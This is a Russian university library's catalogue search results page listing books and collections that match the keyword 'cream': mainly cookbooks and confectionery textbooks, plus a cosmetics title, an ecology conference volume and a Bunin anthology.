Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

85 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=КРЕМ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 32
1. 
Сладкий сюрприз [Текст], 1998. - 333 с. [10] вкл. цв. л. с.
Держатели документа (Информация об экземплярах) 
2. 
Пашук З. Н. Мучные кондитерские изделия [Текст] / З. Н. Пашук, Т. К. Апет, 1997. - 459 с.
Ключевые слова 
ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ПРОИЗВОДСТВО КОНДИТЕРСКОЕ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ МУЧНЫЕ -- МУКА -- КРАХМАЛ -- САХАР -- МЕД -- ПАТОКА -- ЯЙЦА -- МОЛОКО -- МАСЛО -- МАРГАРИН -- ЖИР -- ФРУКТЫ -- ЯГОДЫ -- РАЗРЫХЛИТЕЛЬ ТЕСТА -- ДОБАВКА АРОМАТИЧЕСКАЯ -- ДОБАВКА ВКУСОВАЯ -- ОРЕХИ -- МАК -- ПЕЧЕНЬЕ САХАРНОЕ -- ПЕЧЕНЬЕ ЗАТЯЖНОЕ -- ПЕЧЕНЬЕ СДОБНОЕ -- ГАЛЕТЫ -- КРЕКЕР -- ВЫПЕЧКА ПЕЧЕНЬЯ -- ПРЯНИК -- КЕКС -- БАБА РОМОВАЯ -- ТОРТ -- СИРОП -- ПОМАДА -- КАРАМЕЛЬ -- КАНДИР ДЛЯ САХАРНЫХ ФИГУР -- КРЕМ -- МАРЦИПАН -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИТАНИЯ - ТРЕБОВАНИЯ САНИТАРНЫЕ -- ПРАВИЛА ЛИЧНОЙ ГИГИЕНЫ -- СРЕДСТВА МОЮЩИЕ -- СРЕДСТВА ДЕЗИНФИЦИРУЮЩИЕ -- ОСМОТР МЕДИЦИНСКИЙ ЕЖЕСМЕННЫЙ -- ЛАМПА БАКТЕРИЦИДНАЯ
Держатели документа (Информация об экземплярах) 
3. 
Бурчакова И. Ю. Организация процесса приготовления и приготовление сложных хлебобулочных, мучных кондитерских изделий [Текст] / И. Ю. Бурчакова, С. В. Ермилова, 2014. - 384 с. : [8] вкл. цв. л. с.
Ключевые слова 
ИЗДЕЛИЯ ХЛЕБОБУЛОЧНЫЕ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ИЗДЕЛИЯ МУЧНЫЕ -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИТАНИЯ -- МИНИ - ПЕКАРНЯ -- ОБОРУДОВАНИЕ МЕХАНИЧЕСКОЕ -- ОБОРУДОВАНИЕ СОРТИРОВОЧНО - КАЛИБРОВОЧНОЕ -- ОБОРУДОВАНИЕ МОЕЧНОЕ -- ОБОРУДОВАНИЕ МЕСИЛЬНО - ПЕРЕМЕШИВАЮЩЕЕ -- ОБОРУДОВАНИЕ ДОЗИРОВОЧНО - ФОРМОВОЧНОЕ -- ОБОРУДОВАНИЕ ИЗМЕЛЬЧИТЕЛЬНО-РЕЖУЩЕЕ -- ОБОРУДОВАНИЕ РАЗБРЫЗГИВАЮЩЕЕ -- ОБОРУДОВАНИЕ СПЕЦИАЛЬНОЕ -- ОБОРУДОВАНИЕ УПАКОВОЧНОЕ -- ОБОРУДОВАНИЕ ТЕПЛОВОЕ -- ОБОРУДОВАНИЕ ВАРОЧНОЕ -- ОБОРУДОВАНИЕ ДЛЯ РАССТОЙКИ ТЕСТОВЫХ ЗАГОТОВОК -- ОБОРУДОВАНИЕ ЖАРОЧНОЕ -- ПЛИТА -- ОБОРУДОВАНИЕ ХОЛОДИЛЬНОЕ -- ТРЕБОВАНИЯ САНИТАРНЫЕ -- КОНТРОЛЬ КАЧЕСТВА КОНДИТЕРСКИХ ИЗДЕЛИЙ -- СЫРЬЕ КОНДИТЕРСКОЕ -- ВЗАИМОЗАМЕНЯЕМОСТЬ СЫРЬЯ -- ПОЛУФАБРИКАТЫ КОНДИТЕРСКИЕ -- СИРОП -- ПОМАДА -- ЖЕЛЕ -- ГЛАЗУРЬ КОНДИТЕРСКАЯ -- КРЕМ -- МУСС -- КАРАМЕЛЬ -- МАРЦИПАН -- МАСТИКА САХАРНАЯ -- ПРАЛИНЕ -- ПОСЫПКА КОНДИТЕРСКАЯ -- ИЗДЕЛИЯ ХЛЕБОБУЛОЧНЫЕ СЛОЖНЫЕ -- ХЛЕБ ПРАЗДНИЧНЫЙ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ СЛОЖНЫЕ -- ПОЛУФАБРИКАТЫ КОНДИТЕРСКИЕ -- ИЗДЕЛИЯ ПРЯНИЧНЫЕ -- ТОРТЫ -- КАЧЕСТВО КОНДИТЕРСКИХ ИЗДЕЛИЙ -- ХРАНЕНИЕ КОНДИТЕРСКИХ ИЗДЕЛИЙ -- МЕРА - МАССА
Держатели документа (Информация об экземплярах) 
4. 
Романова Т. В. Приятного аппетита! [Текст] / Т. В. Романова, 1990. - 200 с. [8] вкл. цв. л. с.
Ключевые слова 
КУЛИНАРИЯ ДОМАШНЯЯ -- ПИТАНИЕ РАЦИОНАЛЬНОЕ -- СЕРВИРОВКА СТОЛА -- БЛЮДА ХОЛОДНЫЕ -- ЗАКУСКА -- БУТЕРБРОД -- САЛАТ -- ВИНЕГРЕТ -- СУПЫ -- ЩИ -- БОРЩ -- РАССОЛЬНИК -- СУП - ПЮРЕ -- СУП МОЛОЧНЫЙ -- БЛЮДА РЫБНЫЕ -- БЛЮДА МЯСНЫЕ -- СОУС -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- БЛЮДА МУЧНЫЕ -- БЛЮДА СЛАДКИЕ -- КОМПОТ -- КИСЕЛЬ -- ЖЕЛЕ -- МУСС -- КРЕМ -- КАША ГУРЬЕВСКАЯ -- НАПИТКИ -- ТЕСТО ДРОЖЖЕВОЕ -- ПИРОГ -- ТЕСТО СЛОЕНОЕ -- МАННИК -- КЕКС -- ХВОРОСТ -- ПЕЧЕНЬЕ -- ПИРОЖНЫЕ -- ТОРТ -- ФРУКТЫ -- ОВОЩИ -- КУХНЯ ОМСКАЯ -- ЗЕЛЬЦ -- СТУДЕНЬ -- СТЕРЛЯДЬ -- ЩУКА -- ВЕРЕЩАКА -- ПЕЛЬМЕНИ -- ПАСХА
Держатели документа (Информация об экземплярах) 
5. 
Сборник рецептур блюд и кулинарных изделий для предприятий общественного питания [Текст] / сост.: Л. Е. Голунова, М. Т. Лабзина, 2014. - 771 с.
Ключевые слова 
БУТЕРБРОД -- ЗАКУСКА БАНКЕТНАЯ -- САЛАТ -- ВИНЕГРЕТ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СОЛЯНКА -- СУП МОЛОЧНЫЙ -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- КАША -- ЗАПЕКАНКА -- ПУДИНГ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА РЫБНЫЕ -- БЛЮДА ИЗ МОРЕПРОДУКТОВ -- БЛЮДА МЯСНЫЕ -- ГАРНИР -- СОУС -- БЛЮДА СЛАДКИЕ -- ЯГОДЫ -- КОМПОТ -- КИСЕЛЬ -- ЖЕЛЕ -- МУСС -- САМБУК -- КРЕМ -- СЛИВКИ ВЗБИТЫЕ -- СУФЛЕ -- ПУДИНГ -- МОРОЖЕНОЕ -- НАПИТКИ -- ЧАЙ -- КОФЕ -- КАКАО -- ШОКОЛАД -- МОЛОКО -- КОКТЕЙЛЬ -- КРЮШОН -- БЛЮДА МУЧНЫЕ -- ФАРШ -- РАСХОД СЫРЬЯ -- ПОЛУФАБРИКАТЫ -- ВЗАИМОЗАМЕНЯЕМОСТЬ ПРОДУКТОВ
Держатели документа (Информация об экземплярах) 
6. 
Кулинарные рецепты [Текст] / сост. Л. И. Воробьева, 1983. - 835 с.
Ключевые слова 
БУТЕРБРОД -- САЛАТ -- ВИНЕГРЕТ -- ЗАКУСКА ХОЛОДНАЯ -- ЗАКУСКА ОВОЩНАЯ -- ЗАКУСКА ИЗ ЯИЦ -- СОУС -- ЗАКУСКА ГОРЯЧАЯ -- БУЛЬОН -- СУП -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- МЯСО ОТВАРНОЕ -- МЯСО ТУШЕНОЕ -- МЯСО ЖАРЕНОЕ -- МЯСО РУБЛЕНОЕ -- МЯСО ЗАПЕЧЕННОЕ -- РЫБА ОТВАРНАЯ -- РЫБА ЖАРЕНАЯ -- РЫБА ТУШЕНАЯ -- БЛЮДА ИЗ МОРЕПРОДУКТОВ -- БЛЮДА МОЛОЧНЫЕ -- БЛЮДА ИЗ ЯИЦ -- ОМЛЕТ -- ОВОЩИ ОТВАРНЫЕ -- ОВОЩИ ЖАРЕНЫЕ -- ОВОЩИ ЗАПЕЧЕННЫЕ -- ОВОЩИ ТУШЕНЫЕ -- ОВОЩИ ФАРШИРОВАННЫЕ -- БЛЮДА ИЗ ГРИБОВ -- КАША -- ПЛОВ -- БЛЮДА ИЗ МАКАРОННЫХ ИЗДЕЛИЙ -- БЛЮДА ИЗ БОБОВЫХ -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО ПРЕСНОЕ -- ТЕСТО СЛОЕНОЕ -- БЛИНЫ -- ОЛАДЬИ -- БУЛОЧКИ -- КУЛИЧИ -- ПЕЧЕНЬЕ -- ПИРОЖНЫЕ -- ТОРТ -- КЕКС -- КИСЕЛЬ -- КОМПОТ -- ЖЕЛЕ -- КРЕМ -- ПУДИНГ -- КОНСЕРВИРОВАНИЕ ДОМАШНЕЕ -- МАРИНАД -- ЗАМОРАЖИВАНИЕ ОВОЩЕЙ -- ЗАМОРАЖИВАНИЕ ПЛОДОВ
Держатели документа (Информация об экземплярах) 
7. 
Вакуленко, Виктория Валерьевна. Искусство макияжа [Текст] / В. В. Вакуленко, 2006. - 252, [1] с.
Держатели документа (Информация об экземплярах) 
8. 
Декада экологии [Электронный ресурс] / ОмГТУ, 2017. - 1 o=эл. опт. диск (CD-ROM)
Оглавление 
  • Оспанова, Г. К. О некоторых аспектах влияния промышленных отходов на состояние окружающей среды региона / Г. К. Оспанова, А. Альжанкызы
  • Чергизова, Б. Т. Оценка количества выбросов вредных веществ в воздух городской среды от автомобильного транспорта / Б. Т. Чергизова [и др.]
    Другие авторы: Искакова А., Гергелюк А., Кремляков Н.
  • Кузнецова, А. В. Влияние ТЭЦ на загрязнение окружающей среды города Омска / А. В. Кузнецова, В. В. Кривитченко
  • Дузбаева, Н. М. Проблемы геоэкологической оценки земельных ресурсов / Н. М. Дузбаева, А. С. Бибасарова, А. А. Калиева
  • Дузбаева, Н. М. Экологические проблемы земельных ресурсов Карагандинской области / Н. М. Дузбаева, А. С. Шакен, Д. Б. Искакова
  • Андреев, Н. Ю. Экологическое влияние подземных вод на окружающую среду с последующим их прогнозированием методом электронных таблиц / Н. Ю. Андреев, Ж. Е. Мутеев ; рук. работы Н. В. Золотарев
  • Алейникова, В. С. Размерные характеристики видов фитопланктона среднего течения реки Иртыш / В. С. Алейникова ; рук. работы О. П. Баженова
  • Шустова, У. Р. Мониторинг радиациооной обстановки в жилых домах и на прилегающей территории г. Омска / У. Р. Шустова, А. С. Мартынова ; рук. работы Н. И. Николаева
  • Бойко, А. А. Исследование уровня радиации в городе Омске / А. А. Бойко [и др.]
    Другие авторы: Умбеткалиева К. Б., Шанаурина К. А., Тюменцева Е. Ю.
  • Кубасова, Д. А. Оценка изменения характеристик снежного покрова города Омска за 2014-2016 годы / Д. А. Кубасова, Е. О. Реховская
  • Чергизова, Б. Т. Исследование уровня шумового загрязнения Г. Караганды / Б. Т. Чергизова, Д. Турарова, Е. Гайбель
  • Богомолов, Е. Д. Оценка количества квартир, находящихся в зоне шумового дискомфорта / Е. Д. Богомолов ; рук. работы И. Е. Демин
  • Рустамхожаев, К. А. Снижение уровня шума оконными стеклопакетами / К. А. Рустамхожаев ; рук. работы И. Е. Демин
  • Налетов, И. Е. Натурные измерения уровня шумового загрязнения в квартирах / И. Е. Налетов, И. Е. Демин
  • Бобко, В. П. Биологические методы экологического мониторинга / В. П. Бобко
  • Комарова, Н. В. Проблемы накопления отработанных автомобильных покрышек и перспективные методы их утилизации / Н. В. Комарова [и др.] ; рук. работы Е. Ю. Жемчугова
    Другие авторы: Закирова Е. Р., Жемчугова Е. Ю., Гаглоева А. Е.
  • Шваб, Е. А. Защита атмосферы от выбросов теплоэлектростанций / Е. А. Шваб, Е. А. Демьянцева ; рук. работы Е. О. Реховская
  • Демьянцева, Е. А. Проблемы утилизации отходов / Е. А. Демьянцева, Е. А. Шваб ; рук. работы Е. О. Реховская
  • Хаирова, Н. Л. Утилизация и переработка пластиковых отходов / Н. Л. Хаирова ; рук. работы П. Е. Нор
  • Слюнкова, Л. В. Композитные материалы на основе сульфидов металлов / Л. В. Слюнкова ; рук. работы Е. Г. Шубенкова
  • Хаирова, Н. Л. Проблема утилизации золошлаковых отходов в Омской области / Н. Л. Хаирова [и др.]
    Другие авторы: Галимова А. Р., Степанюк М. П., Нор П. Е.
  • Веприкова, Я. Р. Исследование межфазного натяжения системы азот гексан вода / Я. Р. Веприкова ; рук. работы Е. Г. Шубенкова
  • Ташлыкова, А. Н. Стеклоотходы и их вторая жизнь / А. Н. Ташлыкова [и др.]
    Другие авторы: Андреева Т. Ю., Новошинская Е. А., Нор П. Е.
  • Алесюк, П. П. Проблема утилизации твердых бытовых отходов в городе Омске / П. П. Алесюк, Е. Д. Букатых ; рук. работы Е. Ю. Тюменцева
  • Ержанова, К. Ж. Биотехнические методы утилизациии осадков сточных вод / К. Ж. Ержанова [и др.] ; рук. работы Ю. В. Корчевская
    Другие авторы: Лукпанова С. Б., Корчевская Ю. В., Маджугина А. А.
  • Байкенова, Г. Г. Природоохранные мероприятия, способствующие восстановлению реки Букпа / Г. Г. Байкенова [и др.]
    Другие авторы: Бенц Т. В., Данчук Д. В., Фетисова И. С.
  • Золотых, Я. Д. Современное средство ликвидации аварийных разливов нефти / Я. Д. Золотых, А. Е. Гаглоева
  • Копылова, Е. Н. Методы очистки сточных вод на промышленных предприятиях / Е. Н. Копылова ; рук. работы С. В. Белькова
  • Ибрагимова, К. А. Сравнение методов озонирования и хлорирования воды / К. А. Ибрагимова, А. А. Иевлева ; рук. работы П. Е. Нор
  • Захаров, В. А. Исследование оптических свойств наночастиц сульфида кадмия, полученных взаимодействием обращенных эмульсий на основе бис(2-этилгексил) сульфосукцина натрия / В. А. Захаров, Д. А. Кулешов ; рук. работы О. А. Федяева
  • Киселев, А. С. Изучение действия биопрепаратов на микробиологическую активность почвы при возделывании ярового ячменя в условиях южной лесостепи Западной Сибири / А. С. Киселев [и др.]
    Другие авторы: Стрелецкий А. М., Лишенкова А. Ю., Поползухина Н. А.
  • Киселев, А. С. Действие биопрепаратов на рост и развитие ярового ячменя в условиях южной лесостепи Западной Сибири / А. С. Киселев [и др.]
    Другие авторы: Стрелецкий А. М., Акатнов Э. К., Поползухина Н. А.
  • Каменская, А. Ю. Влияние стимуляторов роста на корнеобразование черенков чубушника обыкновенного / А. Ю. Каменская ; рук. работы Г. И. Чуянова
  • Прохорова, Е. О. Основные нарушения земельного фонда на территории Омского района Омской области за 2011-2015 гг. / Е. О. Прохорова ; рук. работы Я. Р. Рейнгард
  • Белая, О. Пить или не пить? Качество йогуртов на омском рынке / О. Белая, А. Ооржак ; рук. работы Е. Ю. Тюменцева. - с.122-125. - Библиогр. в конце ст.
  • Рекша, В. Э. Антиоксиданты и свободные радикалы / В. Э. Рекша ; рук. работы Е. А. Кириллова. - с.126-129. - Библиогр. в конце ст.
  • Штеле, К. В. Влияние электромагнитного излучения на организм человека / К. В. Штеле, А. Ю. Макарьева ; рук. работы Е. Ю. Тюменцева. - с.129-133. - Библиогр. в конце ст.
  • Тюменцева, Е. Ю. Современные стайлинги и их влияние на организм человека и окружающую среду / Е. Ю. Тюменцева, Г. А. Бахир. - с.133-136. - Библиогр. в конце ст.
  • Шуртаева, А. С. Влияние стойкой крем-краски для волос на организм человека и окружающую среду / А. С. Шуртаева ; рук. работы Е. Ю. Тюменцева. - с.136-139. - Библиогр. в конце ст.
  • Филатова, Е. В. Формирование экологической культуры разных возрастных групп посредством дизайна / Е. В. Филатова, А. А. Костюнина. - с.140-145. - Библиогр. в конце ст.
  • Горнец, В. А. Роль дизайнера в организации производственной экосреды / В. А. Горнец ; рук. работы Е. В. Филатова. - с.145-149. - Библиогр. в конце ст.
  • Плесовских, О. Д. Инновационные приемы и технологии в экодизайне / О. Д. Плесовских ; рук. работы Е. В. Филатова. - с.149-154. - Библиогр. в конце ст.
  • Островая, Ю. С. Текстильное производство, экологические проблемы и пути их решения / Ю. С. Островая ; рук. работы Е. В. Филатова. - с.154-158. - Библиогр. в конце ст.
  • Костюкова, Н. Ю. Экотекстиль / Н. Ю. Костюкова ; рук. работы Е. В. Филатова. - с.158-162. - Библиогр. в конце ст.
  • Филатова, Е. В. «Зеленые технологии» в дизайне / Е. В. Филатова, А. Д. Емельянова. - с.163-168. - Библиогр. в конце ст.
  • Филатова, Е. В. Дизайн как способ гармонизации человека и окружающей среды / Е. В. Филатова, В. В. Лагутина. - с.168-174. - Библиогр. в конце ст.
  • Гордиенко, В. С. Трэш-арт / В. С. Гордиенко ; рук. работы Е. В. Филатова. - с.175-179. - Библиогр. в конце ст.
  • Клапатовская, В. В. Актуальность научной составляющей в современном экодизайне / В. В. Клапатовская ; рук. работы Е. В. Филатова. - с.179-182. - Библиогр. в конце ст.
  • Разуваева, Н. А. Синтетические ткани и их влияние на окружающую среду / Н. А. Разуваева ; рук. работы Е. В. Азиева. - с.183-185. - Библиогр. в конце ст.
  • Болдырев, Б. В. Пропаганда защиты экологии на сувенирной продукции. Футболка / Б. В. Болдырев ; рук. работы Е. В. Азиева. - с.185-187. - Библиогр. в конце ст.
  • Кравцова, Д. А. «Экологический стиль» в современном дизайне одежды / Д. А. Кравцова ; рук. работы Е. В. Азиева. - с.187-190. - Библиогр. в конце ст.
  • Малышкина, О. В. Современный экодом / О. В. Малышкина ; рук. работы Е. В. Азиева. - с.190-194. - Библиогр. в конце ст.
  • Петухова, А. С. Урбанизация. Формирование экостиля / А. С. Петухова ; рук. работы Е. В. Азиева. - с.194-197. - Библиогр. в конце ст.
  • Медведева, А. В. Применение сувенирной продукции в рекламных коммуникациях / А. В. Медведева ; рук. работы Е. В. Азиева. - с.197-199. - Библиогр. в конце ст.
  • Горковенко, Е. М. Опасность и безопасность изделий из текстиля / Е. М. Горковенко ; рук. работы Е. В. Азиева. - с.199-201. - Библиогр. в конце ст.
  • Матицкая, Д. Ю. Экология окрашивания волос / Д. Ю. Матицкая, Е. Д. Писарева ; рук. работы Л. И. Боженова. - с.201-205. - Библиогр. в конце ст.
  • Комиссарова, Д. С. Экологический дизайн и его роль в современном мире / Д. С. Комиссарова ; рук. работы Е. В. Азиева. - с.205-208. - Библиогр. в конце ст.
  • Баевская, А. Е. Проектирование детской одежды с учетом региональных особенностей Сибири / А. Е. Баевская ; рук. работы Е. В. Азиева. - с.208-211. - Библиогр. в конце ст.
  • Бадюк, Д. С. Озеро Эбейты – как природный памятник культуры / Д. С. Бадюк. - с.212-213. - Библиогр. в конце ст.
  • Победители и призеры XI Международного конкурса «Декада экологии». - с.215-224.
Держатели документа (Информация об экземплярах) 

Представлены материалы конференции "Экологические проблемы региона и пути их разрешения". Работы студентов, магистрантов, аспирантов и ученых посвящены экологическим проблемам и путям их решения в г. Омске и регионе, вопросам повышения экологической культуры и расширения экологического мировоззрения, а также стимулирования творческого потенциала молодежи.

В сборник включены также материалы конкурсов, проведенных в рамках XI Международного конкурса "Декада экологии".

Издание адресовано преподавателям, научным работникам, школьникам, студентам, магистрантам и аспирантам вузов, а также широкому кругу читателей, интересующихся проблемами экономики и экологии региона.

Полный текст
9. 
Кулинарные рецепты: Из "Книги о вкусной и здоровой пище" [Текст] / сост. Л. И. Воробьева ; дар.: Л. К. Жарина, Л. К. Жарина, 1988. - 334, [1] с.
Ключевые слова 
ЗАКУСКА -- БУТЕРБРОД -- САЛАТ -- ИКРА -- ПАШТЕТ -- СОУС -- МАЙОНЕЗ -- БУЛЬОН -- СУП -- ОКРОШКА -- МЯСО -- КОТЛЕТА -- ТЕФТЕЛИ -- ШНИЦЕЛЬ -- ПЕЛЬМЕНИ -- КУРИЦА -- ДИЧЬ -- РЫБА -- МОРЕПРОДУКТ -- ТВОРОЖНИКИ -- ВАРЕНИК -- БЛИНЧИКИ -- ЗАПЕКАНКА -- ПУДИНГ -- ОМЛЕТ -- ОВОЩИ -- ГРИБЫ -- КАРТОФЕЛЬ -- ФОРШМАК -- КАША -- ПЛОВ -- КЛЕЦКИ -- ЧЕБУРЕК -- КУКУРУЗА -- ФАСОЛЬ -- ГОРОХ -- ЧЕЧЕВИЦА -- ПИРОЖОК -- ВАТРУШКА -- БУЛКА -- ОЛАДЬИ -- РУЛЕТ -- ПИРОЖНОЕ -- ТОРТ -- КЕКС -- ПОНЧИК -- ХВОРОСТ -- КИСЕЛЬ -- КОМПОТ -- ЖЕЛЕ -- МУСС -- КРЕМ -- ПУДИНГ -- ШАРЛОТКА -- МАРИНАД -- СОЛЕНЬЕ -- МАРИНАД -- КОНСЕРВИРОВАНИЕ -- ЗАМОРАЖИВАНИЕ -- ЯГОДЫ
Держатели документа (Информация об экземплярах) 
10. 
Сборник рецептур блюд и кулинарных изделий для предприятий общественного питания [Текст] / сост. Л. Е. Голунова, 2001. - 688 с.
Ключевые слова 
БУТЕРБРОД -- ЗАКУСКА БАНКЕТНАЯ -- САЛАТ -- ВИНЕГРЕТ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СОЛЯНКА -- СУП МОЛОЧНЫЙ -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- КАША -- ЗАПЕКАНКА -- ПУДИНГ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА РЫБНЫЕ -- БЛЮДА ИЗ МОРЕПРОДУКТОВ -- БЛЮДА МЯСНЫЕ -- ГАРНИР -- СОУС -- БЛЮДА СЛАДКИЕ -- ЯГОДЫ -- КОМПОТ -- КИСЕЛЬ -- ЖЕЛЕ -- МУСС -- САМБУК -- КРЕМ -- СЛИВКИ ВЗБИТЫЕ -- СУФЛЕ -- ПУДИНГ -- МОРОЖЕНОЕ -- НАПИТКИ -- ЧАЙ -- КОФЕ -- КАКАО -- ШОКОЛАД -- МОЛОКО -- КОКТЕЙЛЬ -- КРЮШОН -- БЛЮДА МУЧНЫЕ -- ФАРШ -- РАСХОД СЫРЬЯ -- ПОЛУФАБРИКАТЫ -- ВЗАИМОЗАМЕНЯЕМОСТЬ ПРОДУКТОВ
Держатели документа (Информация об экземплярах) 
11. 
Литературное наследство. Т. 84 : Иван Бунин : в 2-х кн.Кн. 1. / гл. ред. В. Р. Щербина, 1973. - 695 с.
Ключевые слова 
Оглавление 
  • Михайлов, О. Н. Путь Бунина-художника / О. Н. Михайлов. - с.С. 7
  • Бунин, Иван Алексеевич. В лесах / И. А. Бунин. - с.С. 60
  • Бунин, Иван Алексеевич. О милых людях / И. А. Бунин. - с.С. 63
  • Бунин, Иван Алексеевич. По Днепру / И. А. Бунин. - с.С. 65
  • Бунин, Иван Алексеевич. В погоду / И. А. Бунин. - с.С. 69
  • Бунин, Иван Алексеевич. Три просьбы / И. А. Бунин. - с.С. 72
  • Бунин, Иван Алексеевич. Ночная птица / И. А. Бунин. - с.С. 74
  • Бунин, Иван Алексеевич. В стране пращуров / И. А. Бунин. - с.С. 76
  • Бунин, Иван Алексеевич. Плач о Сионе / И. А. Бунин. - с.С. 87
  • Бунин, Иван Алексеевич. Благовестие / И. А. Бунин. - с.С. 88
  • Бунин, Иван Алексеевич. Из цикла "Странствия" / И. А. Бунин. - с.С. 90
  • Бунин, Иван Алексеевич. Сокол / И. А. Бунин. - с.С. 101
  • Бунин, Иван Алексеевич. Портрет / И. А. Бунин. - с.С. 102
  • Бунин, Иван Алексеевич. Русь града взыскующая / И. А. Бунин. - с.С. 103
  • Бунин, Иван Алексеевич. "Сон пресвятые Богородицы" / И. А. Бунин. - с.С. 103
  • Бунин, Иван Алексеевич. Звезды / И. А. Бунин. - с.С. 109
  • Бунин, Иван Алексеевич. Мэтр всех мэтров / И. А. Бунин. - с.С. 112
  • Бунин, Иван Алексеевич. Тараскон / И. А. Бунин. - с.С. 114
  • Бунин, Иван Алексеевич. Юный пилигрим / И. А. Бунин. - с.С. 116
  • Бунин, Иван Алексеевич. Волхвы / И. А. Бунин. - с.С. 118
  • Бунин, Иван Алексеевич. Святочный вечер / И. А. Бунин. - с.С. 121
  • Бунин, Иван Алексеевич. Ривьера / И. А. Бунин. - с.С. 123
  • Бунин, Иван Алексеевич. Аля / И. А. Бунин. - с.С. 124
  • Бунин, Иван Алексеевич. "Когда я впервые..." / И. А. Бунин. - с.С. 125
  • Бунин, Иван Алексеевич. Модест / И. А. Бунин. - с.129
  • Бунин, Иван Алексеевич. Крем леодр / И. А. Бунин. - с.С. 130
  • Бунин, Иван Алексеевич. Пророк Осия / И. А. Бунин. - с.С. 131
  • Бунин, Иван Алексеевич. Господин Порогов / И. А. Бунин. - с.С.132
  • Бунин, Иван Алексеевич. Песня жаворонка / И. А. Бунин. - с.С. 133
  • Бунин, Иван Алексеевич. Свет жизни / И. А. Бунин. - с.С. 135
  • Бунин, Иван Алексеевич. Нефедка / И. А. Бунин. - с.С. 137
  • Бунин, Иван Алексеевич. Божьи люди. Два странника / И. А. Бунин. - с.С. 139.
  • Бунин, Иван Алексеевич. День за день / И. А. Бунин. - с.С. 145
  • Бунин, Иван Алексеевич. "Шаман" и Мотька / И. А. Бунин. - с.С. 148
  • Бунин, Иван Алексеевич. Божьи люди. Судорожный / И. А. Бунин. - с.С. 154
  • Бунин, Иван Алексеевич. Праздник / И. А. Бунин. - с.С. 160
  • Бунин, Иван Алексеевич. Помещик Воргольский / И. А. Бунин. - с.С. 162
  • Бунин, Иван Алексеевич. Стихотворения 1900-1938 гг. / И. А. Бунин. - с.С. 176
  • Критические статьи, речи, рецензии, обзоры, интервью. - с.С. 287
  • Статьи и речи. - с.С. 290
  • Рецензии и обзоры. - с.С. 325
  • Отзывы, написанные для академии наук. - с.С. 336
  • Интервью с И. Буниным. - с.С. 355
  • Записки и заметки И. Бунина. - с.С. 381
Держатели документа (Информация об экземплярах) 
12. 
Чудеса в микроволновой печи [Текст] : рецепты и полез. советы для кулинара / сост. О. В. Крылова, 1994. - 286, [2] с.
13. 
Киселева, Вера Борисовна. Детская кухня [Текст] : Кн. для матерей о приготовлении пищи детям / В. Б. Киселева; В. С. Вайль, 1958. - 175 с.
Держатели документа (Информация об экземплярах) 
14. 
Абатуров, Павел Васильевич. Сладкие блюда. Напитки [Текст] / П. В. Абатуров, Н. П. Цыпленков, 1958. - 136 с.
Держатели документа (Информация об экземплярах) 
15. 
Сидорина Е. И. Современная кухня [Текст] : кулинар. рецепты из доступ. продуктов / Е. И. Сидорина, 1993. - 543 с.
Ключевые слова 
СЕРВИРОВКА СТОЛА -- ЗАКУСКА ХОЛОДНАЯ -- САЛАТ -- ВИНЕГРЕТ -- ПАШТЕТ -- ЗАЛИВНОЕ -- БУТЕРБРОД -- БЛЮДА МЯСНЫЕ -- БЛЮДА ИЗ РЫБЫ -- СЫР -- БЛЮДА ИЗ ЯИЦ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СУП ОВОЩНОЙ -- УХА -- СУП МОЛОЧНЫЙ -- СУП ГРИБНОЙ -- БЛИНЫ -- ОЛАДЬИ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- ЗАПЕКАНКА -- ПЛОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- СОУС -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО СЛОЕНОЕ -- ТОРТЫ -- ТЕСТО БИСКВИТНОЕ -- ПЕЧЕНЬЕ -- ХВОРОСТ -- ВАФЛИ -- КЕКС -- ПИРОГ -- КРЕМ МАСЛЯНЫЙ -- КРЕМ БЕЛКОВЫЙ -- КРЕМ ЗАВАРНОЙ -- МУСС -- ЖЕЛЕ -- КОМПОТ -- КИСЕЛЬ -- БЛЮДА СЛАДКИЕ -- ЗАГОТОВКИ -- КАПУСТА КВАШЕНАЯ -- КОНСЕРВИРОВАНИЕ -- МАРИНОВАНИЕ -- ВАРЕНЬЕ -- ДЖЕМ -- ЦУКАТЫ
16. 
Войцеховская, Анна Леопольдовна. Косметика сегодня [Текст] / А. Л. Войцеховская, И. И. Вольфензон, 1988. - 174, [1] с.
17. 
Барановский В. А. Кондитер [Текст] : учеб. пособие для уч-ся колледжей и сред. проф.-тех. училищ / В. А. Барановский, 2000. - 318 с.
Держатели документа (Информация об экземплярах) 
18. 
